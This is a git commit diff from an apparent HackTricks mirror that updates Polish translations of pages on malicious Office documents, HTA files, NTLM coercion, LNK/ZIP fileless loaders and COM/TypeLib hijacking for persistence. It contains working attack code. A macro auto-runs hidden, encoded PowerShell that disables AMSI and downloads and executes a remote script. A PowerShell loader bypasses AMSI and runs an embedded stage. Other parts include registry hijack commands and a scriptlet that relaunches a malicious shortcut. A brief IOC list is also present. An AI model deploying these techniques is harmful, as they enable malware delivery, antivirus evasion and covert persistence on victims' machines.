mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/windows-local-privilege-escalation/co
This commit is contained in:
parent
a20ddc7540
commit
b20423f256
@ -2,39 +2,39 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Dokumenty Office
|
||||
## Dokumenty Microsoft Office
|
||||
|
||||
Microsoft Word wykonuje walidację danych pliku przed jego otwarciem. Walidacja danych odbywa się w formie identyfikacji struktury danych, zgodnie ze standardem OfficeOpenXML. Jeśli wystąpi błąd podczas identyfikacji struktury danych, analizowany plik nie zostanie otwarty.
|
||||
Microsoft Word przeprowadza walidację danych pliku przed jego otwarciem. Walidacja danych odbywa się w postaci identyfikacji struktury danych, zgodnie ze standardem OfficeOpenXML. Jeśli podczas identyfikacji struktury danych wystąpi jakikolwiek błąd, analizowany plik nie zostanie otwarty.
|
||||
|
||||
Zazwyczaj pliki Word zawierające makra używają rozszerzenia `.docm`. Jednak możliwe jest zmienienie nazwy pliku poprzez zmianę rozszerzenia pliku i nadal zachowanie możliwości wykonywania makr.\
|
||||
Na przykład, plik RTF nie obsługuje makr, z założenia, ale plik DOCM zmieniony na RTF będzie obsługiwany przez Microsoft Word i będzie zdolny do wykonywania makr.\
|
||||
Te same wewnętrzne mechanizmy mają zastosowanie do całego oprogramowania z pakietu Microsoft Office (Excel, PowerPoint itp.).
|
||||
Zwykle pliki Word zawierające makra używają rozszerzenia `.docm`. Jednak możliwe jest zmienienie nazwy pliku poprzez zmianę rozszerzenia i nadal zachować zdolność wykonywania makr.\
|
||||
Na przykład plik RTF domyślnie nie obsługuje makr, ale plik DOCM przemianowany na RTF zostanie obsłużony przez Microsoft Word i będzie zdolny do wykonania makr.\
|
||||
Te same wewnętrzne mechanizmy dotyczą całego oprogramowania z pakietu Microsoft Office (Excel, PowerPoint itp.).
|
||||
|
||||
Możesz użyć następującego polecenia, aby sprawdzić, które rozszerzenia będą wykonywane przez niektóre programy Office:
|
||||
```bash
|
||||
assoc | findstr /i "word excel powerp"
|
||||
```
|
||||
DOCX pliki odwołujące się do zdalnego szablonu (Plik – Opcje – Dodatki – Zarządzaj: Szablony – Przejdź) które zawierają makra mogą również „wykonywać” makra.
|
||||
DOCX files referencing a remote template (File –Options –Add-ins –Manage: Templates –Go) that includes macros can “execute” macros as well.
|
||||
|
||||
### Ładowanie zewnętrznych obrazów
|
||||
### Ładowanie zewnętrznego obrazu
|
||||
|
||||
Przejdź do: _Wstaw --> Szybkie części --> Pole_\
|
||||
_**Kategorie**: Linki i odniesienia, **Nazwy pól**: includePicture, oraz **Nazwa pliku lub URL**:_ http://\<ip>/whatever
|
||||
Przejdź do: _Insert --> Quick Parts --> Field_\
|
||||
_**Categories**: Links and References, **Filed names**: includePicture, and **Filename or URL**:_ http://<ip>/whatever
|
||||
|
||||
.png>)
|
||||
|
||||
### Backdoor w makrach
|
||||
### Macros Backdoor
|
||||
|
||||
Możliwe jest użycie makr do uruchamiania dowolnego kodu z dokumentu.
|
||||
Można użyć macros, aby uruchomić dowolny kod z dokumentu.
|
||||
|
||||
#### Funkcje autoload
|
||||
#### Autoload functions
|
||||
|
||||
Im bardziej powszechne, tym bardziej prawdopodobne, że AV je wykryje.
|
||||
Im bardziej są powszechne, tym bardziej prawdopodobne, że AV je wykryje.
|
||||
|
||||
- AutoOpen()
|
||||
- Document_Open()
|
||||
|
||||
#### Przykłady kodu makr
|
||||
#### Macros Code Examples
|
||||
```vba
|
||||
Sub AutoOpen()
|
||||
CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
|
||||
@ -66,12 +66,12 @@ proc.Create "powershell <beacon line generated>
|
||||
```
|
||||
#### Ręczne usuwanie metadanych
|
||||
|
||||
Przejdź do **Plik > Informacje > Sprawdź dokument > Sprawdź dokument**, co otworzy Inspektora dokumentów. Kliknij **Sprawdź**, a następnie **Usuń wszystko** obok **Właściwości dokumentu i informacje osobiste**.
|
||||
Przejdź do **File > Info > Inspect Document > Inspect Document**, co otworzy Document Inspector. Kliknij **Inspect**, a następnie **Remove All** obok **Document Properties and Personal Information**.
|
||||
|
||||
#### Rozszerzenie dokumentu
|
||||
#### Rozszerzenie pliku
|
||||
|
||||
Po zakończeniu, wybierz rozwijane menu **Zapisz jako typ**, zmień format z **`.docx`** na **Word 97-2003 `.doc`**.\
|
||||
Zrób to, ponieważ **nie możesz zapisać makr w `.docx`** i istnieje **stygmat** **wokół** rozszerzenia z makrami **`.docm`** (np. ikona miniatury ma ogromne `!` i niektóre bramy internetowe/e-mailowe całkowicie je blokują). Dlatego to **stare rozszerzenie `.doc` jest najlepszym kompromisem**.
|
||||
When finished, select **Save as type** dropdown, change the format from **`.docx`** to **Word 97-2003 `.doc`**.\
|
||||
Zrób to ponieważ **nie można zapisać makr w `.docx`** i istnieje **stigma** związane z rozszerzeniem obsługującym makra **`.docm`** (np. ikona miniatury ma ogromny `!` i niektóre bramy sieciowe/emailowe blokują je całkowicie). Dlatego to **legacy `.doc` rozszerzenie jest najlepszym kompromisem**.
|
||||
|
||||
#### Generatory złośliwych makr
|
||||
|
||||
@ -81,9 +81,9 @@ Zrób to, ponieważ **nie możesz zapisać makr w `.docx`** i istnieje **stygmat
|
||||
|
||||
## Pliki HTA
|
||||
|
||||
HTA to program Windows, który **łączy HTML i języki skryptowe (takie jak VBScript i JScript)**. Generuje interfejs użytkownika i działa jako aplikacja "w pełni zaufana", bez ograniczeń modelu bezpieczeństwa przeglądarki.
|
||||
HTA to program na Windows, który **łączy HTML i języki skryptowe (takie jak VBScript i JScript)**. Generuje interfejs użytkownika i uruchamia się jako aplikacja "w pełni zaufana", bez ograniczeń wynikających z modelu bezpieczeństwa przeglądarki.
|
||||
|
||||
HTA jest uruchamiane za pomocą **`mshta.exe`**, które jest zazwyczaj **instalowane** razem z **Internet Explorer**, co sprawia, że **`mshta` jest zależne od IE**. Jeśli zostało odinstalowane, HTA nie będą mogły się uruchomić.
|
||||
HTA uruchamiany jest przy użyciu **`mshta.exe`**, który zazwyczaj jest **zainstalowany** razem z **Internet Explorer**, co sprawia, że **`mshta` dependant on IE**. Jeśli więc został odinstalowany, HTA nie będą mogły się uruchomić.
|
||||
```html
|
||||
<--! Basic HTA Execution -->
|
||||
<html>
|
||||
@ -140,9 +140,9 @@ self.close
|
||||
```
|
||||
## Wymuszanie uwierzytelniania NTLM
|
||||
|
||||
Istnieje kilka sposobów na **wymuszenie uwierzytelniania NTLM "zdalnie"**, na przykład możesz dodać **niewidoczne obrazy** do e-maili lub HTML, które użytkownik otworzy (nawet HTTP MitM?). Lub wysłać ofierze **adres plików**, które **wywołają** **uwierzytelnienie** tylko przy **otwieraniu folderu.**
|
||||
Istnieje kilka sposobów, aby **wymusić uwierzytelnianie NTLM "zdalnie"**, na przykład możesz dodać **niewidoczne obrazy** do e-maili lub HTML, do których użytkownik uzyska dostęp (nawet HTTP MitM?). Albo wysłać ofierze **adres plików**, które **wywołają** **uwierzytelnianie** już przy **otwarciu folderu.**
|
||||
|
||||
**Sprawdź te pomysły i więcej na następujących stronach:**
|
||||
**Sprawdź te pomysły i więcej na poniższych stronach:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -154,11 +154,62 @@ Istnieje kilka sposobów na **wymuszenie uwierzytelniania NTLM "zdalnie"**, na p
|
||||
../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md
|
||||
{{#endref}}
|
||||
|
||||
### Przekaźnik NTLM
|
||||
### NTLM Relay
|
||||
|
||||
Nie zapomnij, że nie tylko możesz ukraść hash lub uwierzytelnienie, ale także **przeprowadzać ataki przekaźnikowe NTLM**:
|
||||
Pamiętaj, że możesz nie tylko ukraść hasha lub dane uwierzytelniające, lecz także **przeprowadzić NTLM relay attacks**:
|
||||
|
||||
- [**Ataki przekaźnikowe NTLM**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
|
||||
- [**AD CS ESC8 (przekaźnik NTLM do certyfikatów)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
|
||||
- [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
|
||||
- [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
|
||||
|
||||
## LNK Loaders + ZIP-Embedded Payloads (fileless chain)
|
||||
|
||||
Wysoce skuteczne kampanie dostarczają ZIP zawierający dwa legalne, mylące dokumenty (PDF/DOCX) i złośliwy .lnk. Sztuczka polega na tym, że rzeczywisty loader PowerShell jest przechowywany wewnątrz surowych bajtów ZIP po unikalnym markerze, a .lnk wyodrębnia go i uruchamia w całości w pamięci.
|
||||
|
||||
Typowy przepływ zaimplementowany przez .lnk z jednowierszowym PowerShellem:
|
||||
|
||||
1) Zlokalizuj oryginalny ZIP w typowych ścieżkach: Desktop, Downloads, Documents, %TEMP%, %ProgramData% oraz w katalogu nadrzędnym bieżącego katalogu roboczego.
|
||||
2) Odczytaj bajty ZIP i znajdź hardcodowany marker (np. xFIQCV). Wszystko po markerze to osadzona PowerShell payload.
|
||||
3) Skopiuj ZIP do %ProgramData%, wypakuj tam i otwórz mylący .docx, aby wyglądało to na legalne.
|
||||
4) Bypass AMSI dla bieżącego procesu: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
|
||||
5) Deobfuskacja następnego etapu (np. usunięcie wszystkich znaków #) i wykonanie go w pamięci.
|
||||
|
||||
Example PowerShell skeleton to carve and run the embedded stage:
|
||||
```powershell
|
||||
$marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
|
||||
$paths = @(
|
||||
"$env:USERPROFILE\Desktop", "$env:USERPROFILE\Downloads", "$env:USERPROFILE\Documents",
|
||||
"$env:TEMP", "$env:ProgramData", (Get-Location).Path, (Get-Item '..').FullName
|
||||
)
|
||||
$zip = Get-ChildItem -Path $paths -Filter *.zip -ErrorAction SilentlyContinue -Recurse | Sort-Object LastWriteTime -Descending | Select-Object -First 1
|
||||
if(-not $zip){ return }
|
||||
$bytes = [IO.File]::ReadAllBytes($zip.FullName)
|
||||
$idx = [System.MemoryExtensions]::IndexOf($bytes, $marker)
|
||||
if($idx -lt 0){ return }
|
||||
$stage = $bytes[($idx + $marker.Length) .. ($bytes.Length-1)]
|
||||
$code = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
|
||||
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
|
||||
Invoke-Expression $code
|
||||
```
|
||||
Notatki
|
||||
- Dostarczenie często nadużywa zaufanych subdomen PaaS (np. *.herokuapp.com) i może ograniczać dostęp do payloadów (serwując nieszkodliwe ZIPy w zależności od IP/UA).
|
||||
- Kolejny etap często odszyfrowuje base64/XOR shellcode i wykonuje go za pomocą Reflection.Emit + VirtualAlloc, aby zminimalizować artefakty na dysku.
|
||||
|
||||
Persistence used in the same chain
|
||||
- COM TypeLib hijacking kontrolki Microsoft Web Browser, tak że IE/Explorer lub każda aplikacja ją osadzająca automatycznie ponownie uruchamia payload. Szczegóły i gotowe do użycia polecenia tutaj:
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md
|
||||
{{#endref}}
|
||||
|
||||
Wykrywanie/IOCs
|
||||
- Pliki ZIP zawierające dopisany do danych archiwum ASCII marker (np. xFIQCV).
|
||||
- .lnk, który przeszukuje foldery nadrzędne/użytkownika, aby znaleźć ZIP i otworzyć dokument przynętowy.
|
||||
- Modyfikacja AMSI za pomocą [System.Management.Automation.AmsiUtils]::amsiInitFailed.
|
||||
- Długotrwałe wątki biznesowe kończące się linkami hostowanymi pod zaufanymi domenami PaaS.
|
||||
|
||||
## Referencje
|
||||
|
||||
- [Check Point Research – ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/)
|
||||
- [Hijack the TypeLib – New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -4,23 +4,23 @@
|
||||
|
||||
### Wyszukiwanie nieistniejących komponentów COM
|
||||
|
||||
Ponieważ wartości HKCU mogą być modyfikowane przez użytkowników, **COM Hijacking** może być używane jako **mechanizm persistentny**. Używając `procmon`, łatwo jest znaleźć wyszukiwane rejestry COM, które nie istnieją, a które atakujący mógłby stworzyć, aby uzyskać persistencję. Filtry:
|
||||
Ponieważ wartości HKCU mogą być modyfikowane przez użytkowników **COM Hijacking** może być użyte jako **mechanizm utrzymania dostępu**. Korzystając z `procmon` łatwo znaleźć przeszukiwane wpisy rejestru COM, które nie istnieją, a które atakujący mógłby utworzyć, aby utrzymać się w systemie. Filtry:
|
||||
|
||||
- Operacje **RegOpenKey**.
|
||||
- gdzie _Wynik_ to **NAME NOT FOUND**.
|
||||
- i _Ścieżka_ kończy się na **InprocServer32**.
|
||||
- gdzie _Result_ jest **NAME NOT FOUND**.
|
||||
- oraz _Path_ kończy się na **InprocServer32**.
|
||||
|
||||
Gdy zdecydujesz, który nieistniejący COM chcesz naśladować, wykonaj następujące polecenia. _Bądź ostrożny, jeśli zdecydujesz się naśladować COM, który jest ładowany co kilka sekund, ponieważ to może być przesadą._
|
||||
Po wybraniu, który nieistniejący komponent COM chcesz podszyć, wykonaj następujące polecenia. _Uważaj, jeśli zdecydujesz się podszyć pod COM, który jest ładowany co kilka sekund, ponieważ może to być przesadne._
|
||||
```bash
|
||||
New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
|
||||
New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll"
|
||||
New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both"
|
||||
```
|
||||
### Hijackowalne komponenty COM harmonogramu zadań
|
||||
### Hijackable Task Scheduler COM components
|
||||
|
||||
Windows Tasks używają niestandardowych wyzwalaczy do wywoływania obiektów COM, a ponieważ są one wykonywane przez Harmonogram zadań, łatwiej jest przewidzieć, kiedy będą uruchamiane.
|
||||
Windows Tasks używają Custom Triggers do wywoływania COM objects, a ponieważ są uruchamiane przez Task Scheduler, łatwiej przewidzieć, kiedy zostaną wywołane.
|
||||
|
||||
<pre class="language-powershell"><code class="lang-powershell"># Pokaż CLSID COM
|
||||
<pre class="language-powershell"><code class="lang-powershell"># Show COM CLSIDs
|
||||
$Tasks = Get-ScheduledTask
|
||||
|
||||
foreach ($Task in $Tasks)
|
||||
@ -34,8 +34,8 @@ $usersGroup = Get-LocalGroup | Where-Object { $_.SID -eq $usersSid }
|
||||
|
||||
if ($Task.Principal.GroupId -eq $usersGroup)
|
||||
{
|
||||
Write-Host "Nazwa zadania: " $Task.TaskName
|
||||
Write-Host "Ścieżka zadania: " $Task.TaskPath
|
||||
Write-Host "Task Name: " $Task.TaskName
|
||||
Write-Host "Task Path: " $Task.TaskPath
|
||||
Write-Host "CLSID: " $Task.Actions.ClassId
|
||||
Write-Host
|
||||
}
|
||||
@ -43,15 +43,15 @@ Write-Host
|
||||
}
|
||||
}
|
||||
|
||||
# Przykładowy wynik:
|
||||
<strong># Nazwa zadania: Przykład
|
||||
</strong># Ścieżka zadania: \Microsoft\Windows\Przykład\
|
||||
# Sample Output:
|
||||
<strong># Task Name: Example
|
||||
</strong># Task Path: \Microsoft\Windows\Example\
|
||||
# CLSID: {1936ED8A-BD93-3213-E325-F38D112938E1}
|
||||
# [więcej jak poprzedni...]</code></pre>
|
||||
# [more like the previous one...]</code></pre>
|
||||
|
||||
Sprawdzając wynik, możesz wybrać jeden, który będzie wykonywany **za każdym razem, gdy użytkownik się loguje**, na przykład.
|
||||
Sprawdzając wyjście, możesz wybrać taki, który będzie uruchamiany na przykład **za każdym razem, gdy użytkownik się zaloguje**.
|
||||
|
||||
Teraz szukając CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** w **HKEY\CLASSES\ROOT\CLSID** oraz w HKLM i HKCU, zazwyczaj stwierdzisz, że wartość nie istnieje w HKCU.
|
||||
Teraz, szukając CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** w **HKEY\CLASSES\ROOT\CLSID** oraz w HKLM i HKCU, zwykle stwierdzisz, że wartość ta nie istnieje w HKCU.
|
||||
```bash
|
||||
# Exists in HKCR\CLSID\
|
||||
Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"
|
||||
@ -72,6 +72,64 @@ Name Property
|
||||
PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
|
||||
Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.
|
||||
```
|
||||
Następnie możesz po prostu utworzyć wpis HKCU, a za każdym razem, gdy użytkownik się loguje, twoje tylne drzwi zostaną uruchomione.
|
||||
Następnie możesz po prostu utworzyć wpis HKCU i za każdym logowaniem użytkownika twój backdoor zostanie uruchomiony.
|
||||
|
||||
---
|
||||
|
||||
## COM TypeLib Hijacking (script: moniker persistence)
|
||||
|
||||
Type Libraries (TypeLib) definiują interfejsy COM i są ładowane za pomocą `LoadTypeLib()`. Gdy serwer COM jest instancjonowany, OS może także załadować powiązany TypeLib, konsultując klucze rejestru pod `HKCR\TypeLib\{LIBID}`. Jeśli ścieżka TypeLib zostanie zamieniona na **moniker**, np. `script:C:\...\evil.sct`, Windows wykona scriptlet w momencie rozwiązywania TypeLib — dając ukryty mechanizm persistence, który uruchamia się, gdy wspólne komponenty są używane.
|
||||
|
||||
Zaobserwowano to w kontekście Microsoft Web Browser control (często ładowanego przez Internet Explorer, aplikacje osadzające WebBrowser, a nawet `explorer.exe`).
|
||||
|
||||
### Kroki (PowerShell)
|
||||
|
||||
1) Zidentyfikuj TypeLib (LIBID) używany przez CLSID o dużej częstotliwości. Przykładowy CLSID często nadużywany przez malware chains: `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` (Microsoft Web Browser).
|
||||
```powershell
|
||||
$clsid = '{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}'
|
||||
$libid = (Get-ItemProperty -Path "Registry::HKCR\\CLSID\\$clsid\\TypeLib").'(default)'
|
||||
$ver = (Get-ChildItem "Registry::HKCR\\TypeLib\\$libid" | Select-Object -First 1).PSChildName
|
||||
"CLSID=$clsid LIBID=$libid VER=$ver"
|
||||
```
|
||||
2) Wskaż ścieżkę TypeLib dla użytkownika na lokalny scriptlet, używając monikera `script:` (nie są wymagane prawa administratora):
|
||||
```powershell
|
||||
$dest = 'C:\\ProgramData\\Udate_Srv.sct'
|
||||
New-Item -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Force | Out-Null
|
||||
Set-ItemProperty -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Name '(default)' -Value "script:$dest"
|
||||
```
|
||||
3) Umieść minimalny JScript `.sct`, który ponownie uruchomi twój główny payload (np. `.lnk` używany przez początkowy łańcuch):
|
||||
```xml
|
||||
<?xml version="1.0"?>
|
||||
<scriptlet>
|
||||
<registration progid="UpdateSrv" classid="{F0001111-0000-0000-0000-0000F00D0001}" description="UpdateSrv"/>
|
||||
<script language="JScript">
|
||||
<![CDATA[
|
||||
try {
|
||||
var sh = new ActiveXObject('WScript.Shell');
|
||||
// Re-launch the malicious LNK for persistence
|
||||
var cmd = 'cmd.exe /K set X=1&"C:\\ProgramData\\NDA\\NDA.lnk"';
|
||||
sh.Run(cmd, 0, false);
|
||||
} catch(e) {}
|
||||
]]>
|
||||
</script>
|
||||
</scriptlet>
|
||||
```
|
||||
4) Wywoływanie – otwarcie IE, aplikacji, która osadza WebBrowser control, lub nawet rutynowa aktywność Explorer spowoduje załadowanie TypeLib i wykonanie scriptlet, ponownie uzbrajając twój chain przy logon/reboot.
|
||||
|
||||
Czyszczenie
|
||||
```powershell
|
||||
# Remove the per-user TypeLib hijack
|
||||
Remove-Item -Recurse -Force "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver" 2>$null
|
||||
# Delete the dropped scriptlet
|
||||
Remove-Item -Force 'C:\\ProgramData\\Udate_Srv.sct' 2>$null
|
||||
```
|
||||
Uwagi
|
||||
- Możesz zastosować tę samą logikę do innych często używanych komponentów COM; zawsze najpierw ustal rzeczywisty `LIBID` z `HKCR\CLSID\{CLSID}\TypeLib`.
|
||||
- Na systemach 64-bitowych możesz również wypełnić podklucz `win64` dla konsumentów 64-bitowych.
|
||||
|
||||
## Źródła
|
||||
|
||||
- [Hijack the TypeLib – New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661)
|
||||
- [Check Point Research – ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user